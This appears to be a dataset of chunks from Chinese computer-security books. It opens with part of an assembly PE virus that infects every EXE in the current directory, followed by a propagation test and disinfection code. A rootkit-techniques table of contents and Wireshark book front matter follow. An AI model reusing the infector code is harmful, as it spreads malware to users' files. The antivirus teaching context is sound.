;使用GetProcAddress函数的首址 ;传入两个参数调用GetProcAddress函数，获得CreateDirA的首址 1120 mov eax,offset szCreateDir 1121 add eax,ebx 1122 invoke _getProcAddress,hKernel32Base,eax 1123 mov _createDir,eax 1124 1125 ;调用创建目录的函数（病毒的破坏性） 1126 mov eax,offset szDir 1127 add eax,ebx 1128 invoke _createDir,eax,NULL 1129 1130 ;开始我们的快乐之旅途 1131 1132 lea edi,[ebx+lpFunAddress] 1133 lea esi,[ebx+szFunNames] 1134 ;从kernel的导出表获取所有相关API的入口地址 1135 call _getAllAPIs 1136 1137 ;获取当前目录 1138 lea edi,[ebx+OriginDir] 1139 push edi 1140 push 7Fh 1141 call [ebx+_GetCurrentDirectoryA] 1142 ;感染当前目录的所有EXE文件 1143 call _infectItAll 1144 1145 popad 1146 ret 1147 _start endp 1148 1149 ;EXE文件新的入口地址 1150 1151 _NewEntry: 1152 ;获取当前函数的栈顶值 1153 mov eax,dword ptr [esp] 1154 push eax 1155 call @F ;免去重定位 1156 @@: 1157 pop ebx 1158 sub ebx,offset @B 1159 pop eax 1160 invoke _start 1161 jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh 1162 ret 1163 vir _end equ this byte 1164 end _NewEntry 代码行1151～1162是整个补丁程序最开始要做的事情。"},
    {"text": "23.2.3 病毒传播测试 23.2.3 病毒传播测试 测试前需要制作一个带有病毒代码的PE文件，使用第17章中的补丁程序bind.exe将本章介绍的病毒补丁程序附加到某个系统PE文件（比如notepad.exe）中。附加了补丁程序以后的目标文件C:\\bindC.exe即为携带了病毒的PE文件。下面将使用该文件对另外多个正常的PE文件进行测试，病毒的传播测试步骤如下。 在C盘上建立ql\\a子目录，将Windows系统中的几个系统可执行文件，以及刚生成的bindC.exe复制到C:\\ql\\a子目录中；运行bindC.exe。 通过运行前和运行后的文件大小对比可以发现，C:\\ql\\a目录中除bindC.exe外的其他可执行程序确实发生了变化，以下是前后的文件列表对比。 bindC.exe运行前该目录列表如下： bindC.exe运行后该目录列表如下： 可以看到，附加的代码长度（以notepad为例）为70144-66560=3584（十六进制为0E00h）个字节。 仔细观察你会发现，除了bindC.exe文件大小未发生变化外，其他PE文件的大小都增加了3584个字节。为什么bindC.exe的长度没有发生变化呢？仔细想一想，bindC.exe被操作系统以独占方式打开，因此，修改该文件时会因无法打开该文件而跳过，这并不妨碍其他的PE文件的修改。 关闭bindC.exe，运行一个已经被修改的其他文件（比如notepad.exe）。因为运行的notepad.exe被打过补丁，所以它也会对本目录下的其他EXE文件进行感染。由于除bindC.exe以外的其他EXE文件都已经被感染，即有了病毒的特征标志，因此不会重复感染；但是，bindC.exe还没有被感染，所以，运行的结果是bindC.exe的大小也发生了变化。 23.2.4 感染前后PE结构对比 23.2.4 感染前后PE结构对比 使用工具PEInfo分析一个PE文件，重点看文件执行入口和最后一节的信息。以notepad.exe为例，感染前notepad.exe的显示信息为： 感染后notepad.exe的显示信息为： 感染前后文件执行入口地址发生了变化，文件执行入口指明了嵌入的补丁程序代码段开始的位置；最后一节的描述信息发生了变化，说明补丁程序被嵌入到了最后一节中。 23.3 解毒代码的编写 23.3 解毒代码的编写 编写解毒代码的过程与病毒感染思路刚好相反，只要通过静态分析或动态分析知道病毒感染文件的机制，自然也就清楚了编写解毒代码的方法。 其实，PE病毒的清理并不是一件容易的事情。因为PE感染方式千差万别，特别是病毒使用了一些反跟踪、反调试技术，前期对病毒代码的分析难度相当大，想通过程序实现自动分析基本是不可能实现的。所以，大部分的商业反病毒软件在对待PE病毒的处理上统一采用删除或隔离操作。下面来看针对本章病毒程序的编写解毒代码的思路。 23.3.1 基本思路 完全掌握了PE病毒的感染机制，即可编写解毒程序，使感染的PE文件恢复到原始状态（至少是不会再运行病毒代码的状态）。 从病毒编写思路来看，如果仅是为了杜绝文件被感染，只需要将硬盘中所有的未感染的PE头部开始的第2个双字，设置为病毒标志字节\"iliq\"，病毒就不会对文件实施破坏。但这种方法只能算是权益之计。还有一种快速的手动清理方法，那就是找到最后一节的C3字节码前最后一个非零双字，通过获取的病毒代码大小，计算出原始的入口地址；然后，将该入口地址重新覆盖PE入口地址，就可以达到跳过PE病毒代码的目的。例如以下所示的黑体部分，为感染后的记事本程序中与原始入口地址有关的部分。 但是，经过以上方法处理的PE中依旧存留着病毒代码，尽管不再起作用，总让人感觉很多余。所以，最好的解决办法就是分析病毒代码原理，编写解毒代码。 本实例解毒软件的编写思路大致为：通过程序入口找到病毒代码在文件的起始位置，然后去掉该位置后的所有数据，重新更正最后一节的描述项和程序入口地址。 综上所述，解毒程序的编写分为以下三步： 步骤1 计算病毒代码的大小。 步骤2 得到目标PE感染前原始的入口地址。 步骤3 修正目标PE的相关参数。 下面按照这三步逐一介绍。 23.3.2 计算病毒代码大小 23.3.2 计算病毒代码大小 解毒编程的第一步是要计算出病毒代码的大小。手工计算方法很简单，找一个没有被感染的程序，与感染后的这个程序进行比对；然后，使用PEInfo查看最后一节文件中对齐后的长度变化，即得出病毒代码大小。从前面的分析中可以看出，该值为： 00008e00h-00008000h=0e00h 即3584个字节。 下面介绍利用程序计算病毒代码大小的方法。先来看以下字节码： 虚线上的部分是感染前的记事本文件的最后几个字节，虚线下的部分是感染后增加的病毒代码的部分数据。 程序中对病毒代码大小的计算方法有三步： 步骤1 获取感染病毒的notepad.exe的入口地址0x00013000，计算该部分在最后一节中的偏移量： 13000h-B000h=8000h 步骤2 根据最后一节在文件的起始地址计算病毒代码所在文件的偏移fOff： fOff=8400h+8000h=10400h 步骤3 用文件总大小减去fOff得到的结果即为病毒代码的大小： 11200h-10400h=0e00h"},
    {"text": "23.3.3 获取原始入口地址 23.3.3 获取原始入口地址 首先，从最后一节的最后几个字节中找到跳转位置（因不同的目标PE最后一节大小不同，其补齐用的“00”字节的个数不定，所以必须通过算法来确定跳转指令操作数所在位置），根据该字节所在文件偏移求出RVA，根据跳转位置和当前RVA求出原始入口RVA。 病毒最后跳转指令在文件中的位置：0x0001104E 根据从文件偏移到RVA的计算得出RVA：0x00013C4E 原始入口地址的值与该值的差刚好是跳转指令的操作数0xFFFF374A，如下所示： 通过逆运算（非逆运算为取反加一）可以求出原始入口的地址值为：0x00007398。一定不要忘记，计算时还要加上跳转指令本身的5个字节，最后得到程序原始的入口地址为： 0x00007398+5=0x0000739d 23.3.4 修正PE头部的其他参数 23.3.4 修正PE头部的其他参数 被感染的PE文件中最后一节的字段需要得到修正。要修正字段包括： IMAGE_SECTION_HEADER.Misc IMAGE_SECTION_HEADER.SizeOfRawData"},
    {"text": "代码清单23-3 本节PE病毒的解毒代码的函数_openFile（chapter23\\antiVirPE.asm） 1 ;-------------------- 2 ;打开PE文件并处理 3 ;-------------------- 4 _openFile proc 5 local @stOF:OPENFILENAME 6 local @hFile,@hMapFile 7 local @hDstFile 8 local @dwFileSize1,@dwTemp 9 10 invoke RtlZeroMemory,addr @stOF,sizeof @stOF 11 mov @stOF.lStructSize,sizeof @stOF 12 push hWinMain 13 pop @stOF.hwndOwner 14 mov @stOF.lpstrFilter,offset szExtPe 15 mov @stOF.lpstrFile,offset szFileName 16 mov @stOF.nMaxFile,MAX_PATH 17 mov @stOF.Flags,OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST 18 invoke GetOpenFileName,addr @stOF ;让用户选择打开的文件 19 .if!eax 20 jmp @F 21 .endif 22 invoke wsprintf,addr szBuffer,addr szOut0,addr szFileName 23 invoke _appendInfo,addr szBuffer 24 25 invoke CreateFile,addr szFileName,GENERIC_READ,\\ 26 FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\\ 27 OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL 28 .if eax!=INVALID_HANDLE_VALUE 29 mov @hFile,eax 30 invoke GetFileSize,eax,NULL ;获取文件大小 31 mov totalSize,eax 32 33 .if eax 34 invoke CreateFileMapping,@hFile,\\ ;内存映射文件 35 NULL,PAGE_READONLY,0,0,NULL 36 .if eax 37 mov @hMapFile,eax 38 invoke MapViewOfFile,eax,\\ 39 FILE_MAP_READ,0,0,0 40 .if eax 41 mov lpMemory,eax ;获得文件在内存的映像起始位置 42 assume fs:nothing 43 push ebp 44 push offset _ErrFormat 45 push offset _Handler 46 push fs:[0] 47 mov fs:[0],esp 48 49 ;开始处理文件 50 51 ;获得入口地址，该地址即为病毒代码的起始地址 52 invoke getEntryPoint,lpMemory 53 invoke _RVAToOffset,lpMemory,eax ;求文件偏移 54 mov dwVirStartOff,eax 55 mov ebx,totalSize 56 sub ebx,eax 57 mov virSize,ebx 58 59 ;求新文件大小 60 mov eax,totalSize 61 sub eax,virSize 62 mov dwNewFileSize,eax 63 64 invoke wsprintf,addr szBuffer,addr szOut124,eax 65 invoke _appendInfo,addr szBuffer 66 67 ;申请内存空间 68 invoke GlobalAlloc,GHND,dwNewFileSize 69 mov @hDstFile,eax 70 invoke GlobalLock,@hDstFile 71 mov lpDstMemory,eax ;将指针给lpDstMemory 72 73 ;将目标文件复制到内存区域 74 mov ecx,dwNewFileSize 75 invoke MemCopy,lpMemory,lpDstMemory,ecx 76 77 invoke wsprintf,addr szBuffer,addr szOut1,virSize 78 invoke _appendInfo,addr szBuffer 79 80 ;定位到最后一个节，修改其中的SizeOfRawData 81 invoke _getRVACount,lpMemory 82 xor edx,edx 83 dec eax 84 mov ecx,sizeof IMAGE_SECTION_HEADER 85 mul ecx 86 87 mov edi,lpDstMemory 88 assume edi:ptr IMAGE_DOS_HEADER 89 90 add edi,[edi].e_lfanew 91 mov esi,edi 92 assume esi:ptr IMAGE_NT_HEADERS 93 add edi,sizeof IMAGE_NT_HEADERS 94 add edi,eax 95 assume edi:ptr IMAGE_SECTION_HEADER 96 mov eax,[edi].SizeOfRawData 97 sub eax,virSize 98 mov [edi].SizeOfRawData,eax 99 100 ;invoke wsprintf,addr szBuffer,addr szOutHex,eax 101 ;invoke _appendInfo,addr szBuffer 102 103 ;计算出程序最原始的入口地址 104 ;从文件最后往前找第一个C3字节 105 mov esi,lpMemory 106 add esi,totalSize 107 .while al!=0c3h 108 mov al,byte ptr [esi] 109 dec esi 110 .endw 111 sub esi,3 ;获取跳转指令的操作数到@dwTemp 112 mov eax,dword ptr [esi] 113 mov @dwTemp,eax 114 115 invoke wsprintf,addr szBuffer,addr szOut3,eax 116 invoke _appendInfo,addr szBuffer 117 118 ;求跳转指令在文件中的位置 119 sub esi,lpMemory 120 dec esi 121 122 invoke wsprintf,addr szBuffer,addr szOut2,esi 123 invoke _appendInfo,addr szBuffer 124 125 ;求该偏移在内存中的RVA值 126 invoke _OffsetToRVA,lpMemory,esi 127 128 ;该值加上5个指令字节码 129 add eax,5 130 add eax,@dwTemp ;求跳转的指令位置，即程序原始入口 131 mov dwOldEntryPoint,eax 132 invoke wsprintf,addr szBuffer,addr szOut4,eax 133 invoke _appendInfo,addr szBuffer 134 135 ;修正函数入口地址 136 mov edi,lpDstMemory 137 assume edi:ptr IMAGE_DOS_HEADER 138 add edi,[edi].e_lfanew 139 assume edi:ptr IMAGE_NT_HEADERS 140 mov eax,dwOldEntryPoint 141 mov [edi].OptionalHeader.AddressOfEntryPoint,eax 142 143 ;修正SizeOfImage 144 ;因为是减少文件大小，这个值就不用修正了 145 146 ;将新文件内容写入到C:\\bindC.exe 147 invoke writeToFile,lpDstMemory,dwNewFileSize 148 149 ;处理文件结束 150 invoke _appendInfo,addr szFinished 151 152 jmp _ErrorExit 153 154 _ErrFormat: 155 invoke MessageBox,hWinMain,offset szErrFormat,NULL,MB_OK 156 _ErrorExit: 157 pop fs:[0] 158 add esp,0ch 159 invoke UnmapViewOfFile,lpMemory 160 .endif 161 invoke CloseHandle,@hMapFile 162 .endif 163 invoke CloseHandle,@hFile 164 .endif 165 .endif 166 @@: 167 ret 168 _openFile endp 以上所列为随书文件chapter23\\antiVirPE.asm中的函数_openFile的源码。 函数代码行18～39把要处理的PE目标文件映射到内存，行49～62计算出原始程序大小存储在变量dwNewFileSize中。"},
    {"text": "行80～141更新了新文件中的一些参数，这些参数主要包括最后一节节表描述的两个字段和程序的入口地址，最后将已经解完毒的内存中的内容写入文件，完成解毒过程。"},
    {"text": "23.3.6 运行测试 23.3.6 运行测试 解毒程序的运行界面见图23-1。 图 23-1 解毒运行过程 如图所示，针对感染病毒的文件进行解毒的操作不是很复杂。首先，求出新文件大小和病毒代码大小，然后求出原始的程序入口地址，并对相关参数进行修正。图中输出的是与该过程有关的几个主要变量的值。针对本章补丁程序实施的解毒相关文件在参考随书文件目录chapter23\\a中。读者可以使用PEComp对比原始记事本程序与去掉病毒代码后的C:\\bindE.exe文件，查看两者在PE头部的各字段值的区别，从而进一步认识PE病毒的清除方法。 注意 真正的反病毒软件在为感染的EXE文件解毒前要做的事情还有很多，如释放内存中加载的线程、删除注册的系统服务、删除注册表启动项、通盘扫描处理感染病毒的文件、为系统实施加固，等等。 23.4 小结 23.4 小结 本章首先结合愤怒天使病毒介绍了病毒常用的保护技术，然后详细分析了一个标准的（含可传染、可破坏、可隐藏模块）PE病毒的实现原理，并探讨了如何编写相关的解毒代码。 本章重点是了解PE病毒传播过程，病毒的传播实际上就是为感染的目标PE文件打补丁的过程，这个过程在病毒补丁程序中有所展示。所谓“以毒攻毒”，只有深入了解了病毒的感染机制、传播机制和隐藏机制，才能够有针对性地使用一些编程技巧，甚至是一些病毒经常使用的技术，更好地去解毒。 后记 后记 本书的写作至此就结束了。关于PE的应用不是一两本书就能写完的，还有许多应用由于篇幅的限制无法一一进行描述，这些应用包括为某一个程序添加背景音乐、记录电脑中某个应用程序的使用日志、为应用程序添加菜单项并实现编码、资源编辑、汉化等。相信读者阅读本书后，能够利用掌握的基本PE知识和相关的编程技术，按照自己设计的目标去实现基于PE的各种应用，打开计算机安全这扇看起来很高深的大门。 最后送给大家一句话： Enjoy life every day! 祝愿所有奋斗在IT领域的同行们天天快乐。"},
    {"text": "14493142\nCover\n14493142 Document Outline 封面 书名 版权 前言 目录 第1章 开发环境 1.1 环境安装 1.2 工程项目设置 1.3 关于Debug模式和Release模式的小提示 第2章 基础技术 2.1 运行单一实例 2.2 DLL延迟加载 2.3 资源释放 第3章 注入技术 3.1 全局钩子注入 3.2 远线程注入 3.3 突破SESSION 0隔离的远线程注入 3.4 APC注入 第4章 启动技术 4.1 创建进程API 4.2 突破SESSION 0隔离创建用户进程 4.3 内存直接加载运行 第5章 自启动技术 5.1 注册表 5.2 快速启动目录 5.3 计划任务 5.4 系统服务 第6章 提权技术 6.1 进程访问令牌权限提升 6.2 Bypass UAC 第7章 隐藏技术 7.1 进程伪装 7.2 傀儡进程 7.3 进程隐藏 7.4 DLL劫持 第8章 压缩技术 8.1 数据压缩API 8.2 ZLIB压缩库 第9章 加密技术 9.1 Windows自带的加密库 9.2 Crypto 密码库 第10章 传输技术 10.1 Socket通信 10.2 FTP通信 10.3 HTTP通信 10.4 HTTPS通信 第11章 功能技术 11.1 进程遍历 11.2 文件遍历 11.3 桌面截屏 11.4 按键记录 11.5 远程CMD 11.6 U盘监控 11.7 文件监控 11.8 自删除 第12章 开发环境 12.1 环境安装 12.2 驱动程序的开发与调试 12.3 驱动无源码调试 12.432 位和64位驱动开发 第13章 文件管理技术 13.1 文件管理之内核API 13.2 文件管理之IRP 13.3 文件管理之NTFS解析 第14章 注册表管理技术 14.1 注册表管理之内核API 14.2 注册表管理之HIVE文件解析 第15章 HOOK技术 15.1 SSDT HOOK 15.2 过滤驱动 第16章 监控技术 16.1 进程创建监控 16.2 模块加载监控 16.3 注册表监控 16.4 对象监控 16.5 Minifilter文件监控 16.6 WFP网络监控 第17章 反监控技术 17.1 反进程创建监控 17.2 反线程创建监控 17.3 反模块加载监控 17.4 反注册表监控 17.5 反对象监控 17.6 反Minifilter文件监控 第18章 功能技术 18.1 过PatchGuard的驱动隐藏 18.2 过PatchGuard的进程隐藏 18.3 TDI网络通信 18.4 强制结束进程 18.5 文件保护 18.6 文件强删 附录 函数一览表 封底"},
    {"text": "Wireshark数据包分析实战(第2版) 版权信息 书名：Wireshark数据包分析实战（第2版） ISBN：978-7-115-30236-6 本书由人民邮电出版社发行数字版。版权所有，侵权必究。 您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。 我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。 如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。 Wireshark数据包分析实战(第2版) 版权声明 Copyright © 2011 by Chris Sanders. Title of English-language original:Practical Packet Analysis:Using Wireshark to Solve Real-World Network Problems(2nd Edition), ISBN 978-1-59327-266-1, published by No Starch Press. Simplified Chinese-language edition copyright © 2012 by Posts and Telecom Press. All rights reserved. 本书中文简体字版由美国No Starch出版社授权人民邮电出版社出版。未经出版者书面许可，对本书任何部分不得以任何方式复制或抄袭。 版权所有，侵权必究。 Wireshark数据包分析实战(第2版) 内容提要 本书从网络嗅探与数据包分析的基础知识开始，渐进地介绍Wireshark的基本使用方法及其数据包分析功能特性，同时还介绍了针对不同协议层与无线网络的具体实践技术与经验技巧。在此过程中，作者结合一些简单易懂的实际网络案例，图文并茂地演示使用Wireshark进行数据包分析的技术方法，使读者能够顺着本书思路逐步地掌握网络数据包嗅探与分析技能。最后，本书使用网络管理员、IT技术支持、应用程序开发者们经常遇到的实际网络问题（包括无法正常上网、程序连接数据库错误、网速很卡，以及遭遇扫描渗透、ARP欺骗攻击等），来讲解如何应用Wireshark数据包分析技术和技巧，快速定位故障点，并找出原因以解决实际问题。本书覆盖了无线WiFi网络中的嗅探与数据包分析技术，同时也给出了嗅探与数据包分析领域丰富的参考技术文档、网站、开源工具与开发库等资源列表。 本书适合网络管理员、安全工程师、软件开发工程师与测试人员，以及网络工程、信息安全等专业学生与网络技术爱好者阅读。 Wireshark数据包分析实战(第2版) 关于作者 Chris Sanders是一名计算机安全咨询顾问、作家和研究人员。他还是一名SANS导师，持有CISSP、GCIA、GCIH、GREM等行业证书，并定期在WindowsSecurity.com网站和自己的博客ChrisSanders.org发表文章。Sanders每天都会使用Wireshark进行数据包分析。他目前居住在美国南卡罗米纳州查尔斯顿，以国防承包商的身份工作。 Wireshark数据包分析实战(第2版) 联系作者 我非常期盼能够收到本书读者的反馈，如果你出于任何原因想联系我，你可以将你的疑问、评论、批评，甚至是求婚信，直接发送到我的电子邮箱chris@chrissanders.org，我经常在 http://www.chrissanders.org/ 发表博客，也欢迎你在Twitter上成为@chrissanders88的粉丝。 Wireshark数据包分析实战(第2版) 致谢 本书的成功出版离不开很多人的直接贡献和间接支持。 爸爸，我从很多来源获得动力，但比起听到你说你因为我而骄傲，没有其他任何事情能够让我更加高兴。对此，我对你真是感谢不尽。 妈妈，本书第2版将在你过世10周年纪念日的前夕出版，我知道你一直在天堂注视着我，并为我而自豪，我希望我能够继续努力，能够让你更加为我自豪。 Debi叔叔和Randy阿姨，你们从我写书的第一天起就是我最大的支持者。我没有一个大家庭，但我非常珍视我所拥有的亲情，特别是你们。尽管我们并没有能像我所期望的那样经常会面，但我深深地感谢你们，对我来说，你们和我的亲生父母没有差异。 Tina Nance, 虽然最近我们并没有像以前那样有很多的交谈，但我一直将你视作我第二个母亲。如果没有你的支持和信任，我今天不会在做我自己想做的事情。 Jason Smith，你比其他任何人都承受了更多我的牢骚，仅仅这样对我来说都已经是很大的帮助了。谢谢你成为我的好朋友和合作者，在很多项目中为我提供了建议，并让我占用了你家的车库长达6个月之久。 感谢我的同事们（过去的和现在的），我一直相信如果一个人周围都是好人的话，他也会成为一个好人。我非常幸运能够和一些优秀人士一起工作，你们是最棒最聪明的，你们是我的家人。 Mike Poor，你是我毋庸置疑的数据包分析技术的崇拜偶像。你的工作与达成目标的方法一直在给我启迪，并帮助我做我想要做的事情。 Tyler Reguly，非常感谢你为本书承担技术编辑的角色，我知道这并不是个有趣的活儿，但是绝对必要并需要感谢。 同样需要特别感谢Gerald Combs和Wireshark开发团队，正是Gerald和其他几百位开发者的无私投入，才让Wireshark能够成为如此强大的分析平台。如果没有他们的贡献，本书也不会存在……即使存在，也可能是基于tcpdump，那么就不会像现在这样有趣。 感谢Bill和No Starch出版社的同仁给予我这位来自肯塔基州的小人物不仅仅是一次，而是两次的机会，谢谢你们对我的容忍和耐心，并帮助我让我的梦想成真。"},
    {"text": "Wireshark数据包分析实战(第2版) 关于译者 诸葛建伟，博士，现为清华大学网络与信息安全实验室副研究员、狩猎女神科研团队负责人、CCERT紧急响应组成员、著名开源信息安全研究团队The Honeynet Project的正式成员，以及中国蜜网项目组（www.honeynet.org.cn）团队发起人和现任负责人、信息安全领域培训讲师和自由撰稿人，编写与参与翻译的畅销图书有《网络攻防技术与实践》、《Metasploit渗透测试指南》等。新浪微博：@清华诸葛建伟。 陈霖，现就读于洛桑联邦理工学院硕士项目，于北京大学获得计算机科学学士学位。新浪微博：@Larch爱刀刀。 许伟林，现为清华大学网络与信息安全实验室助理工程师，于北京邮电大学获得计算机科学学士学位，曾两次参与Google Summer of Code计划，分别为Nmap和The Honeynet Project贡献IPv6主机发现模块与IPv6攻击检测器的开源代码，并负责新浪微博 @Nmap网络扫描的维护工作。新浪微博：@许伟林。"},
    {"text": "Wireshark数据包分析实战(第2版) 译者序 谨以此书献给中国农村渴望得到更多计算机基础教育的孩子们！ 本书是一本非常实用的网络技能培训技术图书，以最为流行和强大的开源数据包抓包与分析工具——Wireshark——作为基础软件，通过大量生动的真实场景案例来讲解数据包分析的基础技术、高级特性与实际应用技能。"},
    {"text": "Wireshark在2011年最新的SecTools安全社区流行软件排行榜中，超越Metasploit、Nessus、Aircrack与Snort，占据榜首位置，这充分体现了Wireshark软件在网络安全与取证分析方面的重要作用与流行度。 与此同时，Wireshark更是一个通用化的网络数据嗅探器与协议分析器，在网络运行管理、网络故障诊断、网络应用开发与调试等各个方面都作为基本手头工具，而被网络管理员、软件开发工程师与测试人员所广泛使用。"},
    {"text": "尽管网络数据包分析技术是网络管理员、安全工程师、软件开发工程师与测试人员必备的基本技能，然而可惜的是国内却没有优秀的实用技术培训教材与书籍。 在这广大技术人群遭遇一些实际网络问题，或是对Wireshark等网络嗅探器与协议分析器的使用存在疑问时，他们并没有系统性的资料去学习掌握基础知识与技能，并掌握相关技能与方法来解决工作中的实际挑战，而往往只能寄希望于在网络上搜索一些零散并且可能过时的信息来探索尝试，从而花费了大量宝贵时间，并对数据包分析技术的自我修炼不得要领。 本书（英文版）原是国外一本非常优秀、高度注重基础性与实用性的网络数据包分析技术教程，细致地讲解了网络数据包嗅探与分析的技术原理，并以目前最流行的网络数据包嗅探与分析开源工具Wireshark作为平台软件，一步步引导读者们掌握使用Wireshark进行实际网络中数据包分析、故障定位与问题解决的实践技术方法。 在本书的章节设计上，作者从网络嗅探与数据包分析的基本知识背景开始，以简练清晰的语言帮助读者首先建立起网络协议与数据包结构、不同网络场景下的嗅探方法等方面的基础知识，然后渐进地介绍Wireshark的基本使用方法、Wireshark的数据包分析功能特性，以及针对不同协议层与无线网络的具体实践技术和经验技巧，在此过程中，作者使用了简单易懂的一些实际网络案例，图文并茂地结合这些具体案例来演示使用Wireshark进行数据包分析的技术方法，使读者能够顺着本书思路逐步地掌握网络数据包嗅探与分析的技能。 最后，本书以网络管理员、IT技术支持、应用程序开发者经常遇到的实际网络问题，包括无法正常上网、部署分部网络、程序连接数据库错误、网速很卡，以及遭遇扫描渗透与ARP欺骗攻击等，来讲解如何应用Wireshark数据包分析技术和技巧，快速定位故障点与原因并解决实际问题。 本书也覆盖了无线WiFi网络中的嗅探与数据包分析技术，同时也给出了在嗅探与数据包分析领域丰富的参考技术文档、网站、开源工具与开发库等资源列表。"},
    {"text": "本书原版取得了国外读者的一致好评，在Amazon网络安全领域图书销售排名位居Top 20，以及4星半的良好评价，也验证了本书在网络安全领域的重要程度。"},
    {"text": "他出生于美国的乡村地区，在通过自身努力成为一位网络技术专家后，成立了一家乡村科技基金会，并将本书的所有版税捐赠出来，为乡村学生设立奖学金，致力于减少乡村学生与城市同龄学生们之间的数字鸿沟。"},
    {"text": "机缘巧合的是，在新浪微博上回复一位读者@过来的微博评论时，译者向几个出版社编辑微博发出本书“通缉令”，意外地从人民邮电出版社编辑那获知了本书下落，也非常高兴地接受了他们的翻译邀请。"},
    {"text": "为了平衡翻译质量和进度，我们组织起了3人的译者团队，由诸葛建伟译序、前言和第1~3章，陈霖译第4~7章，许伟林译第8~11章与附录。 全书内容由诸葛建伟进行全面、仔细的统稿与审校，并由陈爱华、陈建军、刘跃、崔丽娟进行了试读。"},
    {"text": "本书翻译正值学校暑假，因此译者团队也都投入了充分的时间来保障翻译质量，仔细推敲和统一全书技术词汇的译法，确保对翻译内容的技术掌控，从而能够忠实地描述出原书作者期望传递给读者的知识与技能。"},
    {"text": "在翻译到前言部分，获知本书作者的成长经历以及对乡村学生所做的公益事业，译者团队感同身受，三位译者中的两位也是从中国的农村地区成长起来的，也都还深刻地记忆着第一次接触到学习机和电脑时那种兴奋异常的感觉。"},
    {"text": "在走向小康社会的今日中国，仍然有这样一个被社会边缘化的群体，他们渴望了解这个世界更多，渴望在互联网世界里遨游，但他们却因为贫困而无法跨越数字鸿沟。"},
    {"text": "因此译者团队达成共识，将本书的公益特性进行到底，决定将本书的译者稿费捐赠给清华大学学生教育扶贫公益协会，通过@电脑传爱活动，将旧电脑维修之后，为打工子弟小学建立电脑室，将公益的精神传递下去。"},
    {"text": "如果你愿意捐赠淘汰的电脑和计算机基础书籍，欢迎通过新浪微博@电脑传爱，也可以@清华诸葛建伟。 如果你是高校学生，希望通过电脑维修做些公益并积累社会实践经验，也非常欢迎加入到@电脑传爱组织的高校电脑维修公益志愿者活动。"},
    {"text": "Wireshark数据包分析实战(第2版) 前言 本书从2009年底开始编写，在2011年中期完成，总计历时一年半。而在本书出版之日，已经距离本书第1版发布的时间有4年之久。本书的所有内容几乎都经过了重写，并采用了完全重新设计的网络捕获数据包文件和场景。如果你喜欢本书第1版，那么你也会喜欢本书，因为本书采用了与第1版同样的写作方式，以一种简单容易理解的风格来展示技术。如果你不喜欢第1版，你也会喜欢本书，因为新版拥有全新设计的场景和扩展后的充实内容。 Wireshark数据包分析实战(第2版) 为什么购买本书 你一定很想知道为什么应该买这本书，而不是其他关于数据包分析的书籍。答案在于本书的书名：Practical Packet Analysis。让我们面对这样的现实——没有比实际的经验更加重要的了，而本书通过大量的真实场景中的数据包分析案例，让你获得最贴近实际的经验。 本书的前半部分将为你提供理解数据包分析技术和Wireshark软件的必备前置条件。后半部分则完全是一些你在日常网络管理中很容易遇到的一些实际案例。无论你是一位网络技术员、网络管理员、首席信息官、IT技术支持，还是一位网络安全分析师，你都可以从本书描述的理解与使用数据包分析技术中获得很多的收获。 Wireshark数据包分析实战(第2版) 概念与方法 我是一个非常随意的人，所以，当我教授你一个概念时，我也会尝试用非常随意的方式来进行解释。而本书的语言也会同样的随意，因此你可能比较容易在一些处理技术概念的行话中迷失，但我已经尽我所能地保持行文的一致与清晰，让所有的定义更加明确、直白，没有任何繁文缛节。然而我终究是从伟大的肯塔基州来的，所以我不得不收起我们的一些夸张语气，但你如果在本书中看到一些粗野的乡村土话，请务必原谅我。 如果你真地想学习并精通数据包分析技术，你应该首先掌握本书前几章中介绍的概念，因为它们是理解本书其余部分的前提。本书的后半部分将是纯粹的实战内容，或许你在工作中并不会遇到完全相同的场景，但你在学习本书后应该可以应用所学到的概念与技术，来解决你所遇到的实际问题。 接下来让我们快速浏览本书各个章节的主要内容。 第1章：“数据包分析与网络基础”，什么是数据包分析技术？这种技术的基本原理是什么样的？你该如何使用这项技术？本章将覆盖这些网络通信与数据包分析的基础知识。 第2章：“监听网络线路”，本章将覆盖你在网络中放置数据包嗅探器时可以使用的各种不同技术方法。 第3章：“Wireshark入门”，从本章起，我们将开始进入Wireshark软件的世界，我们将介绍Wireshark软件的入门知识——哪里可以下载到，如何使用它，它完成什么功能，为什么它广受好评与关注，以及其他各种好东西。 第4章：“玩转捕获数据包”，在你运行Wireshark软件之后，你会需要知道如何与捕获的数据包进行交互，而这是你开始学习基础实践方法的起始点。 第5章：“Wireshark高级特性”，一旦你已经学会了缓慢地爬行，那是时候来学习跑步了。本章将深入钻研Wireshark的高级特性，带你揭开引擎的盖子，来了解一些比较少见的操作。 第6章：“通用底层网络协议”，本章将为你展示那些最常见的通用底层网络通信协议——比如TCP、UDP和IP——从数据包的层次上来看。为了解决这些网络协议中发生的故障，你首先需要理解它们是如何工作的。 第7章：“常见高层网络协议”，继续讲解网络协议的相关内容，本章将带你了解3种最为常见的高层网络通信协议——HTTP、DNS与DHCP——并从数据包的层次上来看。 第8章：“基础的现实世界场景”，这章中将包含一些常见的网络流量，以及最初的现实世界场景中的案例。每个案例将采用一种容易跟随的方式进行展示，包括问题、分析和解决方法。这些基础场景案例仅仅涉及到少量几台计算机，以及很少的分析——仅仅能够将你的脚打湿。 第9章：“让网络不再卡”，网络技术人员最普遍遇到的网络问题便是网络性能很慢的情况，本章便是专门为解决这一问题而设计的。 第10章：“安全领域的数据包分析”，网络安全是信息技术领域中最大的热点问题，本章将带给你几个关于如何使用数据包分析技术解决安全相关问题的实际案例。 第11章：“无线网络数据包分析”，本章是无线网络数据包分析技术启蒙，讨论了无线数据包分析与有线数据包分析技术的差异，并包含了无线网络流量分析的几个案例。 附录A：“延伸阅读”，本书附录给出了其他一些参考工具和网站列表，你可以从中找到继续使用你所学到的数据包分析技术的进一步资料。 Wireshark数据包分析实战(第2版) 如何使用本书 我期待本书按照如下两种方式进行使用。 作为一本教学书籍，你可以按一章接着一章的顺序阅读，来获得对数据包分析技术的理解与掌握。这种方式会特别关注后面几章中的现实世界场景案例。 